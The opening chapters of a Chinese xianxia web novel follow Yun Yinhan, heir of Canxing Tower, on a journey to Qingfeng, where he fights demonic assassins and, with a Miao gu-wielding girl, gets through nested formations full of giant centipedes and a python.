《高岭之花入魔后》
1. 阵中阵(一)
残星岛的仲秋依旧热浪滔天,微风乍起,带来海水湿咸的味道。
一个白衣青年穿过热闹喧嚣的街道,来到人声渐渐消减的渡口。
只见那青年一袭白衣素华如神明,出尘如谪仙。
白衣上用银丝线缝制一圈圈的云纹,更显其高贵如斯。
手中紧握宝剑。那把剑的剑鞘为白,其上银龙盘绕,云雾缭绕。
白衣剑客,公子无双。
渡口停泊着无数船只,宛如落叶般杂乱无章的落着。
他一走近,便有一些船夫热情地迎来,口中问着,“公子可坐船?”
那些船夫瞥见青年左胸处的徽章后,腰不由得再弯了弯,显得极度谦恭。
青年左胸处的徽章是用银丝线缝制的三颗星星。
以银丝为材,高贵又出尘。
此乃残星楼云家之服饰——残星素锦袍。
云殷寒摇了摇头,脚步未停地往一个角落走去。
那个角落里系着一叶扁舟。一个老头儿正仰面躺在船板上,偌大的斗笠盖在他的脸上,叫人看不清他的面容。
他并不似其他船夫那般热情拉客,只是悠然的静躺于一旁,仿佛在静等缘起。
云殷寒走近老头儿,刚欲开口,那老头儿便伸出其如枯枝般的瘦手,猛的掀开盖在脸上的斗笠,同时轻跃而起,不过一瞬便已至云殷寒跟前。
那老头儿“嘿嘿”一笑,眉眼间现出孩童般的喜悦神色。
“小樱桃,你可算想起我了!”
听闻此称呼,云殷寒的嘴角抽了抽。
“你这小子,越长大越不可爱了!”
见云殷寒脸色未变,老头儿无趣的摆了摆手,率先回头走向小船。
云殷寒一言不发地跟着他。
这老头儿相貌平平,举止幼稚,却能翻手为云,覆手为雨,江湖人提起他都得恭恭敬敬的称一声“青崖子”。
不过,自云殷寒有记忆以来他就已经淡出江湖,四处游玩,神龙见尾不见首。
青崖子于云殷寒而言亦师亦友,亦兄亦父。
六岁那年,青崖子第一次见到他,便觉得他生得好看,粉雕玉琢,忍不住捏了一把他的小脸,只觉着入手软糯。
而当时正是三四月份的光景,残星岛上樱花绚丽,灼灼其华,大片大片的粉雾,美得宛如天界盛景。
自此,青崖子便唤他“小樱桃”。
小时候叫他“小樱桃”,长大后还是“小樱桃”。
云殷寒几次反驳无果,便任由他叫去。
青崖子似孩童般蹦蹦跳跳地跃上小船,拿过双桨。
云殷寒跟着他走上小船,放下手中残星剑,也随着拿过双桨,却听青崖子叫道,
“别!你可不能抢我生意!”
云殷寒哑口无言,只得依言坐下。
青崖子划了两三下后,扔下船桨,右手一拂,一道绿光哗的飞向船底,小船便在湖面缓缓而行。
太阳高悬于空,微风轻吻行人。
湛蓝的湖面激起阵阵涟漪,随微风一层一层的扩散。
日光落在湖面,溅起无数光点,仿佛无数星子散落其中,熠熠生辉,美不可言。
湖上可比岛上凉爽了不少。
青崖子靠在船头,眯起双眼,一副极为享受的模样。
云殷寒望着水面,愣愣出神。
“这次又是去哪?”
青崖子忽的开口,云殷寒抬起目光,望向西南方向,神色复杂,半晌才道,“青枫。”
这轻飘飘的二字却在青崖子心里激起滔天骇浪,他猛的睁眼,疑惑道,“去那做甚?”
云殷寒坐在船尾回望着青崖子。
“寻药。”
青崖子猛的跳起,使小船忽的晃了晃。
“为你爹寻药?!”
云殷寒不置可否。
过了半晌,青崖子才重新坐下,斟酌道,
“其实,你爹在二十多年前就应该死了啊……”
云殷寒脸色未变,眼神却动了动。
“不,不……”青崖子急忙摆手,“我的意思是,他这旧疾为时已久,你可知该去寻何药,可否有效啊?”
云殷寒沉默半晌,道,“不知。可我还有一个目的。”
“什么目的?”
“寻一个真相。”
“真相?”青崖子心里猛的一跳。
世人皆知残星楼楼主云沐坻与其夫人白怡妤分居多年,可却无人知其缘故。
人皆以为白怡妤好佛道,故而摒弃七情六欲,不染俗世红尘。
云殷寒亦不知其中缘由。可他忘不了五岁时见到的那一幕。
“哗——”
书房里传来杯盏落地碎裂的声音,宛如当空惊雷。
五岁的云殷寒脚步顿了顿,躲在门缝里往里看。
只见云沐坻站在书桌前,眉头微蹙。而白怡妤跪坐于地,发丝凌乱,双目泛红。
他从未见过这样的母亲,他的母亲是轻云门白家嫡女,温婉贤淑,乃大家典范,可如今却卑微如尘埃,仿佛玫瑰跌落泥潭。
只见她抬起头,用绝望而不甘的声音问道,
“倘若是青枫宫那位呢?倘若是她,你还会如此待她吗?”
白怡妤眼眶泛红,一行清泪忽的落下,宛如雨中凋落的梨花般令人心怜。
云沐坻移开视线,叹了口气,放轻了声音,道,“怡妤……”
他还未说完,白怡妤便抬手擦了擦眼泪,慢慢起身,缓缓往外走去。
云殷寒急忙跑开。
三天后,白怡妤不顾众人反对毅然离开云家,在清越寺出家。
自此,不入云家门。
那时,她才二十七岁,嫁给云沐坻六年。
昨日,云殷寒向云沐坻辞别时,他嘱咐了句“若是……若是遇到青枫宫之人,莫要交恶。”
云殷寒心中愤懑,便冷声道,“是因为您那位故人?”
云沐坻脸色微变,沉默半晌,才叹息道,“是我欠她的。”
听闻此言,云殷寒怒火奋起,不禁反问道,“难道您就对得起我娘?”
去青枫之前,云殷寒去清越寺寻白怡妤,临别之时,白怡妤叹息道,“寒儿啊,这残星楼楼主你想做便做,不愿做也没关系。你往后所娶之人,须得是你心中所念之人。莫要如你爹一样,误了两个女子啊……”
字字无奈,句句不甘。
云殷寒又怎愿一生糊涂,一世不知其往事。
青崖子叹了口气,“当年的事我也不清楚,你要查便查吧。不过,有一句话你爹说的对,青枫宫神秘异常,你当小心。”
云殷寒点了点头,道,“对了,近来魔阈又重现于世,频繁攻打六大楼阁,还请多多注意。”
青崖子点了点头。随后,掏出一个酒袋,仰头痛饮,而后丢给云殷寒,道,“喝一口吧!”
云殷寒单手接过酒袋,也仰头饮下。
清冽的酒水顺着云殷寒白皙的脖颈行行滑下,沾湿了衣衫。
酒水刚烈,一入喉咙,宛如烈火焚烧。
小船如同飞鸟飞过蓝天
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般在湛蓝的残星海上驶过,留下一条条长痕。
小船行驶了两日,终于到达青枫渡。
云殷寒跳下小船,青崖子嘱咐道,“小心行事。”
云殷寒点了点头,又听青崖子叫道,“北枫镇的梅子酿甚是出名,小樱桃莫忘了给我带几壶回来!”
云殷寒上岸后,并未在青枫渡待着,而是直接赶路。
云殷寒御剑而行,飞入青枫山脉的一条外脉——北枫岭。
青枫山脉支脉众多,妖兽横行,而这里坐落着六大楼之一的神秘青枫宫。
他虽是想查明真相,但他深知其困难至极。便打算先历练一番,打探一下情况。
此时正是仲秋时节,青枫山一带长满了枫树,漫山遍野的红色宛如一团团火焰灼灼肆放。
云殷寒穿梭在稀稀疏疏的树林间,忽的听到一声哨声,随即一群黑衣人仿佛蜂子般涌来。
随即,一道妩媚的女声响起。
“云大公子,奴家等你许久了!”
云殷寒皱眉抬头,只见一个红衣女子横躺在一棵大枫树上。
女子容颜倾城,透着一股邪魅。她身着红衣,愈加显得其妩媚多姿。
她的美是令人心折的,宛如罂粟一般摄人心魄。
只见,她微微一笑,仿佛百花齐放般叫人心悸,勾人心魄。
魅术。
云殷寒心中暗道。
云殷寒还未来得及深入思索,黑衣人便朝他袭来。
他心念一动,手中残星剑化作一道蓝光猛的飞出。
黑衣人将云殷寒层层包围,红衣女子却依旧躺在枫树上,微微笑着,仿佛看戏一般。
残星剑快速飞舞,宛如长龙般在人群中飞舞,留下一道道残影。一个个黑衣人随剑气而倒。
云殷寒双手结印,淡蓝色的灵力缓缓汇聚,他墨发飞扬,衣袂翻飞,宛如谪仙。
云殷寒眉头微皱。
奇怪,明明是一群黑衣人,怎会功法不一,步法不同?
云殷寒飞身而起,直冲红衣女子而来,玄蓝色的灵力哗的飞向红衣女子。
红衣女子勾了勾唇角,衣袂飘动,转眼不见其人影。
云殷寒只觉一股魅香扑鼻而来,他心念一动,残星剑“咻”的飞回,在云殷寒身边紧紧护住他。
“云公子——我在这儿呀——”
魅惑人心的声音忽的响起,云殷寒手持残星剑斩向声音发出的地方。
可随即,女子的声音竟在四方响起。声音妩媚,激起阵阵回音。
同时,剩余的黑衣人攻势渐急,云殷寒一面应付着黑衣人,一面防备红衣女子偷袭。
不过片刻,冷汗便已沾湿衣襟。
黑衣人的圈子渐渐缩小,云殷寒挥舞着残星剑,剑气纵横,灵力四射。
一道红光骤然大盛,红衣女子突然显现,云殷寒残星剑在黑衣人中飞舞,右手一挥,几道符纸飞向红衣女子。
红衣女子快速移动,堪堪躲过符纸,留下道道残影。
随即,她长袖一挥,几根银针咻的飞出,云殷寒持剑挡针,银针与宝剑相接之时发出“铮铮”之声,煞是刺耳。
云殷寒周围仅存不多的黑衣人乘势而上,云殷寒一边躲避银针,一边躲过袭击。
红衣女子再次结印,想要再次袭击云殷寒。
云殷寒额间薄汗沁出,手中宝剑剑势愈急。
就在这时,空中传来阵阵清脆悦耳的铃铛声,随即响起一个女孩儿清亮的声音——
“以多欺少,好不要脸!”
2. 阵中阵(二)
“以多欺少,好不要脸!”少女话音刚落,一颗松果当空飞来,猛然破开红衣女子面前的符印。
红衣女子向旁边掠去,躲开那颗松果。
“你是谁?”
她抬头望去,只见枫树摇曳不停,一阵清脆悦耳的铃铛声连绵不绝。
一道紫色人影忽的显现,一个娇小玲珑的女孩儿足尖轻点,从灿红似火的枫树上轻轻跃下。
那少女鹿眼桃腮,容貌俏丽,头绾双髻,干净青涩。
她身着一身紫裙,紫裙边缘有暗色花纹,裙子上有一圈圈银珠,在阳光下熠熠生辉。
腰间系着一串银铃铛,随风而动,清脆悦耳。
脖子上挂着一项银圈,上方是一个长命锁。
少女的双髻上银光闪闪,额间的银制花钿垂落于眉。
若说红衣女子为罂粟花,这紫衣少女便如春天嫩柳般俏丽可爱。
“我还想问姐姐,你是谁呢?”
紫衣少女微微一笑,露出一对儿小虎牙,鹿眼清澈,语气显得委屈又邪气。
“姐姐,幻月大陆上会使用魅术的不多吧?还是以一介分.身来围攻残星楼少主,这般修为……”
云殷寒心中惊诧,这般厉害,竟只是一介分.身。
红衣女子似乎并未想到少女竟可识别自己的身份,惊诧万分。
又见这少女身份不凡,不知是敌是友,便知此次任务确实是完不成了。便低声道,“撤。”
“等等啊!”
少女身形一动,“我话还没问完呢!”
随即,一把鞭子盈握在手,鞭体若隐若现,若有若无,泛出淡紫色的光芒,宛如紫电。
她足尖轻点,宛如飞鸟般轻巧飞起,同时右手挥鞭,那条鞭子节节变长,寸寸闪动着闪电,紫光大盛,搅动风云。
激起阵阵树枝摇晃声和银饰品碰撞发出的清脆响声。
红衣女子本不愿与其交恶,没成想,少女却直接动手,她心中一怒,再次结印。
同时,黑衣人再次散开,云殷寒瞄了一眼正斗作一团的红紫两道人影,不想其他,专心运剑。
一圈圈红色符印在红衣女子面前缓缓成形,她双手一推,符印飞速旋转,飞向少女。
少女笑着舔了舔小虎牙,挥舞长鞭,一道道紫色残影飞速前进,与红色符印混做一团。
天空黑云搅动,电闪雷鸣,一面是红光,一面是紫电。
壮观且恐怖。
两种力量相持片刻,随即发出“砰”的一声,两人之间的灵力大球猛的炸开,两人都急急往外栽去,宛如两颗流星般迅猛至极。
紫衣少女在空中连连翻了十多个跟头才堪堪停下,心肺灼疼,嘴角一条血痕触目惊心。
红衣女子残影寸寸消失,只留下一句“小妹妹功力了得啊!”
而云殷寒那头的黑衣人也只剩一个。
云殷寒用残星剑抵着黑衣人脖颈,问道,“你们为何人?为何拦截我?”
云殷寒话音刚落,那黑衣人身上便散发出一股死气,不过片刻,黑衣人便跌落于地,当场死亡。
云殷寒脸色一变,随即用残星剑挑落黑衣人肩头的衣服,只见一个黑色骷髅印在其肩头,狰狞且诡异。
“咦,这是……”紫衣少女靠近一看,惊呼出声。
“魔阈。”云殷寒淡淡的声音响起。
竟是魔阈中人,怪不得身法、步法都不一。
魔阈是幻月大陆上除六大楼外独立存在的一个组织。
魔阈不是门派,也不是宗族。
里面的一部分为“影子”,即如卧底一般蛰伏在六大楼阁,另一部分为散修,各自修炼,互不相关,全凭机遇。
一般情况下,各自接受任务,独立完成,情况特殊也有合作完成的。
魔阈中人肩头都有一个玄色骷髅头,狰狞可惧。
“他们为何要杀你?”少女疑惑的声音响起。
云殷寒同样不解。
少女突然伸出右手,手心里停着一条黑虫,通体为黑,形似指甲,那只虫子微微蠕动。
云殷寒身上起着一层鸡皮疙瘩,心里激起一股恶心感。
少女并没注意到云殷寒发青的脸色,只是把虫子打入黑衣人的尸体。
她邪魅一笑,道,“别以为死了我便拿你没办法了!”
随后,少女娇喝一声,“还不醒来!”
不过片刻,尸体便开始僵硬地移动,随后竟慢慢站了起来,除了眼睛木然,动作僵硬外,竟是与活人一般无二。
云殷寒心里惊诧至极。早闻苗疆女子擅蛊,今日一见,果真是非同凡响。
“为何要杀他?”少女笑语盈盈地询问死尸。
死尸摇了摇头,发出“吱吱”的声音,与年久失修的木门被打开时发出声音的一模一样。
少女一怒,猛的挥手,劲风霎时将死尸重重推倒,发出“轰”的一声。
少女无趣的站在一旁。
云殷寒行礼致谢。
“多谢姑娘相助,想来他只是一个小蝼蚁,并不知高层的目的吧。”
少女看着云殷寒,哼道,“谁说我在帮你!我不过是想知道他们为何来我青枫撒野罢了!”
云殷寒嘴角抽了抽,并不说话。
“你们残星楼可一点儿都不干净啊!”
不然怎会连残星楼少主的行踪都被魔阈之人摸得一清二楚。
说罢,少女忽的伸手,那只蛊虫“咻”的一声,从那具尸体里飞出,回到她手上。
而后,少女足尖轻点,枫树树枝摇曳,竟不见少女身影,空余清脆的银铃声,声声入耳,不绝如缕。
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伏魔山。
大雪纷纷扬扬,如棉絮、如鹅毛般洒下,似是要掩盖六合,掩盖一切的罪与恶,使人间只剩美与善。
潋滟宫覆压五百余里,隔离天日,在皑皑雪山顶巍然屹立。
宫墙上白雪覆盖。宫内灯烛遍地,五光十色,宛如星海。
微风乍起,鲛纱飘动,层层叠叠,宛如海浪。
宫外冰天雪地,宫内春光融融。
此刻,正殿拂雪殿内,一个红衣女子正托腮而寐,身旁站着一个白衣少女,她手持羽扇为红衣女子扇风。那少女灵动娇媚,却面无表情,仿佛神游在外。
红衣女子猛的惊醒,白衣少女抬起眼帘,无声询问。
红衣女子并不答话,心中却想着:
可恶!竟毁了我的一个分.身。这个究竟少女为何人?
这正是方才围攻云殷寒的红衣女子,她真身在潋滟宫内,而与她交手的紫衣少女竟杀了她的分.身。
不行,得快些动手,若是云殷寒回到残星岛便胜率极低了。
“娥汐,拿水镜来。”
被称作“娥汐”的白衣少女点了点头,越过屏风拿过水镜。
红衣女子右手一拂,一道红光拂过水镜,镜面风起云涌,一个人影对镜而望。
“火宫主怎么脸色苍白?堂堂火魅宫主外加十个影子,竟不敌一个黄毛小儿?”
一道雌雄莫辨的声音自水镜里徐徐传来,语气中充满了幸灾乐祸。
火魅忽略朱魇的嘲讽,直入正题。
“朱魇,这单任务你得与我一同完成。”
语气娇媚,却是不容置疑。
水镜那头的朱魇一身华贵七彩衣裳,眼尾细长,美得雌雄莫辨。他比火魅少了两分魅,多了两分刚,却亦是妩媚动人。
“呵呵——你这是在求我么?”
朱魇高傲的话音刚落,另一头便传来笑嘻嘻的骂声:“我呸!我们主子是在通知你!你个不男不女的家伙也配我们主子求?”
朱魇此生最厌恶别人骂他“不男不女”了,他是一只孔雀精,身披彩衣,亦雌亦雄。
听闻此言,他脸色一变,气急败坏道,“漓羽,你等着,我这就来潋滟宫扒你皮!”
随即“哗”的一声,关掉水镜。
刚踏进拂雪殿的粉衣女孩儿顽皮地吐了吐舌头。笑道:“主子恕罪!这孔雀精不激一下是不听话的。”
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且说云殷寒顺着官道一路走去,暮色渐合,如火球般的太阳被高大巍峨的山蓦地吞下,天地间只剩一丝丝光亮。
云殷寒想着快些赶路,寻家客栈先行住下。
云殷寒绕过一个弯道,便见一点亮光微微亮着,在暗夜里仿佛一点萤火,稍有不慎便会被黑暗吞没。
云殷寒加快步伐,走向亮光。
“阿丁,关上鸡笼。”
一道慈祥苍老的声音自屋内传来。一个男孩应了声“好”。
他举着火把走到院子里,一走近鸡笼,鸡便“咕咕咕”的叫了几声。
阿丁一面关笼门,一面开口道,“帮你们把门关起来,山上的黄鼠狼可是一直惦记着你们呢……”
“可否借个宿?”
云殷寒清冽的声音忽的响起,小男孩吓了一跳,猛的跳起,手中火把答的掉落。
“对不住,对不住……”云殷寒连连道歉。
听到动静,屋里的老妪走了出来。
阿丁忙道,“阿奶别出来,外
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边风大!”随即冲云殷寒笑了笑,“哥哥随我来。”
阿丁家虽简陋却干净。家中只有十岁的男孩阿丁和奶奶相依为命。
阿丁和奶奶异常热情,倒是叫云殷寒有些不自在。他与他们一同吃过晚饭,便与阿丁一同睡下。
躺在床上,阿丁一直追着他问问题。
“哥哥,你是习武的么?”
“嗯。”
“哇哦,好威风啊!”阿丁崇拜道,虽在黑暗中,但云殷寒似乎能看到他惊奇的表情。
“那哥哥收我为徒好不好啊?”阿丁真诚道。
云殷寒愣了愣,半晌才道,“好啊!但是哥哥现在有事,等以后哥哥再回来找你行不行啊?”
“好啊……”阿丁开心地回复道。
之后便睡着了。迷迷糊糊中,他翻了个身,梦呓道,“阿丁要习武,要保护阿奶啊……要拯救苍生。”
云殷寒听着阿丁的梦话,心里蓦地软了一块,仿佛被浓浓的善意与温暖填满。
他突然意识到:万般皆苦,众生皆蝼蚁,可,心怀温暖,心怀善意,有人相陪,即便为蜉蝣、为蝼蚁未尝不是一件幸事。
可是上天偏不遂人愿……万一,连做蜉蝣、蝼蚁的机会都没有呢?那又该如何?
*
次日一早,云殷寒便告别阿丁和奶奶,继续赶路。
他在北枫岭上不知走了多久,却依旧在原地转圈。
他一手结印,一手持剑,剑气四射,凝成一道蓝光向几十丈外斩去。
那里虽然只有几棵树,但是乍一看,又好像有些不同。
此时正是仲秋时节,青枫山脉一带长满了火红的枫树,漫天遍野如烈火般的红色。
而此刻,云殷寒眼前竟稀稀疏疏的落着几棵绿松,青翠欲滴,宛如盛夏时节的树林。
云殷寒觉得有些蹊跷。
他玄蓝色的剑气竟然如同水入海绵般消失了。
云殷寒眉头微皱。
果然被困于阵法中了。
他竟在不知不觉中被困于阵内?
他朝东走了半柱香后又绕回原点,他抬头,空中的太阳竟没有移动半分。
他从怀中掏出一个铜制的圆盘。
这个圆盘中央是五角星形——这正是残星海的形状。
这个圆盘可用来辨别方向,而此时,盘中的小指针竟在一圈圈的旋转着,速度竟是越来越快。
剑气消失,时间凝固,没有方向,残星盘失灵!
云殷寒飞身而起,残星剑在他脚下吞吐着玄蓝色的光。
他在高空中俯瞰整座山脉,奇怪的是,目光所致,尽是白雾。
他退回方才所在的地方,环顾四周。
既是阵法,那么必定有阵眼。只要找到阵眼,便可破阵了。
云殷寒走了几步时,一道强光猛然刺来,刺得他眼睛生疼。他不禁眯了眯眼,后退几步,那道光又离奇的消失了。
他朝那道光的方向走了几步,只见一只银镯子静静地躺在草丛中。
一看便知这是青枫苗疆女子的贴身饰物。
云殷寒迟疑半晌,方才拾起银镯。
令他惊讶的是,这只银镯子的精美程度不亚于他之前所见过的任何饰物。
纤细的银镯表面刻着一株纤细的忘忧草,纤草摇曳,栩栩如生,宛若见其身,闻其香。
云殷寒转了转镯子,只见上边刻着两个苗文小字:
无忧。
想来是这镯子主人的名字吧。
无忧无忧,百世无忧!倒是个好名字。
想着,云殷寒将镯子放入储物袋中。
云殷寒的目光又投到那几棵松树上,叶尖露珠闪闪发光,他的心里猛然一动。
云殷寒右手一动,丝丝缕缕的灵力渐渐凝聚,那些露珠汇聚成一个小水球。
他轻轻一捏,水珠与灵力同时四溅开来。
阵法破除后,映入云殷寒眼帘的是几丈外的大枫树以及树上的紫衣少女。
云殷寒眯了眯眼,逆光打量着树上的少女。
只见,那个少女大概十六七岁的模样。眉眼清秀,尚未褪去青涩。
不是昨日的少女又是谁?
少女手中握着一个酒袋,正在仰头喝酒,甘冽的酒水顺着少女白皙细长的脖颈滑下,在阳光下发出剔透的光芒。
此时,秋风微微拂来,火红的枫叶随风飘扬,有一片停在她的头发上,愈显灵动。
少女见到云殷寒,收起酒袋,娇嗔道:
“大哥哥,你竟破坏了我的阵法哎!”
3. 阵中阵(三)
说着,她从枫树上轻轻跃下,同时,一只青鸾鸟飞向云殷寒。
云殷寒脸色一变,手中残星刚要飞出,却发现那只青鸾竟亲昵的凑近自己,好似见了主人一般。
少女见这只青鸾如此喜欢云殷寒,不禁恼怒地跺了跺脚,骂道:
“阿鸾,连你也不分好坏!”
意思是,为何要喜欢这个破坏她阵法的人啊。
但阿鸾偏偏对云殷寒更加亲密了。
云殷寒感到好笑,便开口逗了逗少女。
“听说灵兽都知主人的喜恶爱憎,你这只青鸾这般喜欢我,莫不是……”
说到此处,云殷寒便不再言语,只是似笑非笑地看着少女。
落无忧虽然牙尖嘴利,但除了师父外从未接触过旁人,此时见云殷寒这般公然调戏自己,一时竟不知应如何作答。
云殷寒见少女红了耳根,自知有失礼节。便肃然正色,问道:
“小妹妹,你姓什么?”
云殷寒暗想,这个小姑娘年纪轻轻,功法了得,腰系宫铃,还有青鸾作灵兽,定不是寻常人家的女孩儿。六大楼阁中的大多高手他都知道,只要知道她姓什么,便可推知其身份。
落无忧脸上红霞褪去,明眸皓齿道:
“哥哥,我既不姓云也不姓白!”
云殷寒微微一愣,他母亲乃白姓之人。
“哦?你怎知我?”
落无忧笑道:
“手持残星剑,身着残星素锦袍,翩翩公子,淡漠高贵。这难道不是残星楼少主云殷寒么?”
云殷寒心下骂痛自己蠢,面上却微微一笑,道:
“小妹妹好眼力!”
“不过……”落无忧顿了顿,“传言云大公子冷漠赛霜雪,今日一见,倒是……”
云殷寒挑了挑眉梢,示意她继续说下去。
“倒是有些假了,我见哥哥淡漠三分,风流七分。”
云殷寒笑道:
“小妹妹,传言不可全信啊!”
落无忧浅笑安然,
“哥哥莫要再叫我小妹妹了,哥哥看上去只比我大三四岁而已!”
云殷寒听到她的话,感到好笑,这小姑娘既不告诉自己她的名字,又一口一个“哥哥”的叫着,还不要自己叫她“小妹妹”。
“那你倒是说说我该如何称呼你?”
云殷寒话音刚落,地底便传来一阵颤动,仿佛有什么庞然大物正在苏醒。
与此同时,他们身边的环境正悄然改变,稀稀疏疏的树木正疯狂生长,林中瘴气渐渐显现。
抬头只见古木参天,方才高高悬挂的烈日蓦地西斜,光线忽的黯淡下来,平添了一丝诡异之气。
残星剑猛然散发出淡蓝色的光晕,给云殷寒添了一丝出尘之味。
落无忧腰间宫铃叮叮作响,泛出橙黄色光晕,她神色戒备。
脚下的颤动仍在断断续续地传来。一下比一下大,仿佛那个庞然大物已渐渐靠近。
落无忧脸色一变,冲半空中的青鸾鸟叫道,“阿鸾,你且先去看看。”
青鸾鸟应了一声,立即往空中飞去。
不过片刻,阿鸾飞回,它停在落无忧肩头“唧唧喳喳”地说着什么。
落无忧脸色越发沉重,云殷寒疑惑地看了她一眼,落无忧本欲解释,却感到一波灵力猛然袭来。
她飞身而起,连连翻了三个跟斗,方才堪堪躲过一击。
云殷寒亦是飞身而起,同时残星剑“咻”地飞出,竟是硬生生地接下一击。
“阵中阵,嗯?”云殷寒眯了眯眼,沉声道。
落无忧点了点头,想解释却又硬生生地忍住了。
所谓“阵中阵”便是一个阵中套着另一个阵,一般是布阵者害怕困不住敌人而布下的两个阵法。
方才的小阵是她布下的,如今的阵却是与她无关。
然而,云殷寒却面色寒冷。显然,他以为此阵亦是落无忧布下的。
随即,残星剑带着玄蓝色的剑芒猛然飞向落无忧。
落无忧暗骂一声“该死”后急急往后掠去,她足尖轻点树干,借力向上掠去,宛如一只黄鹂鸟般轻盈优美。
好厉害的轻功。
云殷寒眸光微动,手上却再次挥出残星剑。
残星剑直朝落无忧面门而来,招招致命。
落无忧本来熟悉当地地形,今日却误入一个上古奇阵,心中本就烦闷,又见云殷寒不分青红皂白地想致她于死地,心中愈加烦躁。
“残星楼少主原是这般对待救命恩人的?”
随即,落无忧右手一动,一条短鞭盈握在手。
她挥手舞动鞭子,短鞭蓦地变长,竟伸出十几丈长!那鞭子带着紫色流光猛的甩向残星剑。
一蓝一紫,一冷一热,在彼此试探与对抗中竟不分伯仲。
地下的震动断断续续,频率越来越快。
残星剑的速度突然加快,不过片刻,便出现三道残影,那三道蓝色残影猛的飞向落无忧。
落无忧不敢硬抗,只得飞身后退。只见,紫衣少女在空中接连旋转好几次才堪堪躲开残星剑。
却不成想,一个东西忽的自瘴气中伸出,猛然抓住了她的脚踝,硬生生的将她从空中拖下。
瘴气弥漫,不知道其中有着什么毒虫猛兽,要是跌进去,后果不堪设想。
落无忧面色微寒,她挥动手中栖汨鞭,鞭子带着一道道紫色闪电往下劈去。抓住落无忧的东西随即断掉。
落无忧再次飞身而起,站在枫树树枝间。
劈开迷雾,两人皆是一惊。
只见紫光照耀的迷雾下,正汩汩的冒出液体,不过片刻,刚刚干燥的地面上已溢满了液体。
最奇特的是,这液体竟是墨绿色,仿佛是什么小虫子的毒液。乍一看,竟有一些骇人。
“这是……”落无忧思索半刻,云殷寒亦是皱着眉头。
“墨泉?!”落无忧吸了口气,接着叹气道,“这阵中究竟封印着怎样的上古魔兽?”
《青枫经·古阵篇》有云:“上古奇阵,有墨泉者,必有魔兽。所谓墨泉者,一般为墨绿色液体,浑浊且黏稠,越黏稠者,毒性越强。”
这时,残星剑忽然飞出,斩向落无忧背后几丈处的灌木中。
落无忧猛然一惊,急急转身,只见灌木中一只千足虫被残星剑剑光劈成两半。
寻常的千足虫只有一寸左右,而这只千足虫足足有一丈长,通体为红褐色,它成百上千的手足叫人全身起鸡皮疙瘩。
见状,落无忧脸色苍白,云殷寒不解地望着她,苗疆之人,怎惧区区一只千足虫。
“你不该杀它的……”落无忧惊惧道。
云殷寒刚要开口询问,却听一阵窸窸窣窣的声音响起,仿佛是成百上千只虫子爬上树干。
云殷寒脸色亦是一变。
《青枫经·异虫传》中记载:“青枫有异虫,其足万千,其有丈长,通体红褐,群居而生,其有口液,可使人双目失明。”
群居而生,死一只则可惊动所有。
那些千足虫不知从何处来,此刻正从树干上朝两人爬来,有自下而上的,有自上而下的,亦有自四面而来的,密密麻麻,令人作呕。
落无忧双手结印,猛的打出,那些千足虫纷纷爆体而亡。
云殷寒右手一抓,猛的抓过一张符纸,用力甩出,符纸所过之处,烈火奋起,万千千足虫被活活烧死。
但是,随即又有千千万万只继续涌来,永无止境。
过了一会儿,两人额头皆沁出一层薄汗。
“若是一直如此,我们必定因灵力枯竭而亡。”云殷寒冷声道。
落无忧一边抵御着那些不断涌出的千足虫,一边思索着。
过了半晌,忽的开口,“哥哥,咱们还是跑吧!”
打不过?跑为上策。
随即,脚尖轻点,如风过境一般在树枝间悠然远去。
云殷寒嘴角抽了抽,却明白唯有如此。
残星剑化作一道流光,云殷寒御剑而行,紧跟落无忧。
落无忧宛如鸟儿般轻盈地在树枝间忽上忽下,玩的不亦乐乎,仿佛不是在逃亡,而是在跳舞。
“砰——”地底传来的震动声忽
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的变大。
随即落无忧忽的转身,直直冲向云殷寒,云殷寒一愣。
落无忧已踏上他的残星剑。
而后,前方的树枝猛的动了动,许多落叶簌簌而下。
两颗宛如太阳般的珠子忽的一亮,云殷寒和落无忧急急后退。
只见一条如三人粗的蟒蛇正盯着两人,随后缓缓地动了动。
落无忧脸色苍白,背后沁出密密麻麻的冷汗,云殷寒也是瞳孔一缩。
云殷寒急急调转残星剑,往后飞去。
只听“哗”的一声,那只蟒蛇张口咬来,獠牙毕现,恶臭冲天。
两人迅速分开,朝两个方向而去。
落无忧慌忙在一个树枝上停下,云殷寒踩着残星剑,在离蟒蛇几十丈处停下。
云殷寒手中抓过一把符纸,朝蟒蛇扔去。
符纸宛如惊雷般纷纷扬扬的在蟒蛇周围炸开。
落无忧抓过栖汨鞭,猛的甩向那只蟒蛇,栖汩鞭带着阵阵紫电紧紧地绕着蟒蛇。
蟒蛇四周被炸开无数血洞,红褐色的毒液喷涌而出,散发出阵阵恶臭。
蟒蛇似是真的生气了,忽然躁动起来,朝两人张口咬来。速度极快,宛如洪水般滔天而来。
不过一瞬,一张血口便已伸至面前,落无忧不敢硬接,只得迅速朝旁边跃去。
树枝“吱吱”作响,随即被蟒蛇猛的压断。
两人不敢硬来,只得迅速后退。
两人对视一眼,云殷寒站在一棵大树上,残星剑忽的发出“嗡嗡”的剑鸣声,散发出巨大剑意,化作一条蓝龙斩向蟒蛇。
随即在蟒蛇脖颈处穿出一个大洞,剑光所至之处,血肉模糊,毒液仿佛洪水般源源不断。
可蟒蛇依旧未死,它看着云殷寒面露凶光,而后宛如闪电般迅猛而来。
云殷寒不及闪躲,只得结印自卫。
落无忧手中抓着一个匕首,匕首通体为银,在阳光下散发出熠熠生辉的光芒。她轻点足尖,忽的飞至蟒蛇头上。
而后猛的刺入蟒蛇右眼。蟒蛇嚎叫一声,猛的甩动,落无忧被硬生生的甩出。
栖汩忽的抓向一棵大树,落无忧借力跳起。
不过片刻,蟒蛇已死。
云殷寒有些疑惑地看着落无忧,“匕首上有剧毒。”落无忧解释道。
云殷寒心中暗想,蟒蛇短短几刻便死,这毒该有多猛!
落无忧于树枝间窜动,在云殷寒所站的那根树枝上缓缓停下。
经历一番搏斗,两人都微微有些凌乱。
落无忧发髻微乱,几根碎发贴在脸颊上,小脸微微泛红,白皙的右手手背上划了一道浅浅的血痕,仿佛雪中红梅般摄人心魄。
云殷寒虽然面无表情,但是垂下的睫毛动了动。素白如月华的残星素锦袍上溅上一道红色——那是蟒蛇的毒液。
他瞳孔缩了缩,伸手凝聚灵力,缓缓地将那道红色拂去。
干净如谪仙,不染半分尘。
底下的颤动仍旧断断续续,阵中时光凝固,林中瘴气弥漫,微弱的阳光透过参天古木散下一条条光带。
“走吧。寻阵眼去,需得尽快出去。”
劫后余生,落无忧折去了大半的高傲。
云殷寒点了点头,重新踩上残星剑,愣了片刻,忽的想起落无忧不习剑,便停下,询问着盯着少女。
